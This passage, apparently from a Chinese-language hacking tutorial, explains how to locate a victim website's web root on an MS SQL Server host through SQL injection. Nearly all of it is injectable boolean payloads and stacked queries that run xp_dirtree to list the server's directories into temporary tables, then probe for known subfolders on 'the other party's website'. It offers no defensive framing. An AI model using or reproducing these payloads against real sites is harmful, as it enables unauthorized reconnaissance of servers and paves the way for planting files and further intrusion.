在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下: and (select count(*) from temp where depth=1 and dir not in(''''Documents and Settings'''',''''Program Files'''',''''RECYCLER'''',''''System Volume Information'''',''''WINDOWS'''',''''CAConfig'''',''''wmpub'''',''''Microsoft UAM 卷''''))>=数字(数字=0、1、2、3...)
接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下: and (select count(*) from temp where dir<>''''user'''')<(select count(*) from temp)
看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录: and (select count(*) from temp where dir<>''''photo'''')<(select count(*) from temp)
...
如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。
下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度: and (select depth from temp where dir=''''user'''')>=数字(数字=1、2、3...)
然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下: declare @dirname varchar(255);set @dirname=''''d:\''''+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in(''''Documents and Settings'''',''''Program Files'''',''''RECYCLER'''',''''System Volume Information'''',''''WINDOWS'''',''''CAConfig'''',''''wmpub'''',''''Microsoft UAM 卷'''') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。
现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下: and (select count(*) from temp1 where dir<>''''user'''')<(select count(*) from temp1) 如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。
然后把从D盘的website下的所有目录存到temp2中,语句如下: declare @dirname varchar(255);set @dirname=''''d:\website\''''+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in(''''Documents and Settings'''',''''Program Files'''',''''RECYCLER'''',''''System Volume Information'''',''''WINDOWS'''',''''CAConfig'''',''''wmpub'''',''''Microsoft UAM 卷'''') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。
现在,我们用同样的方法判断该目录是否为根目录: and (select count(*) from temp2 where dir<>''''user'''')<(select count(*) from temp2) 如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。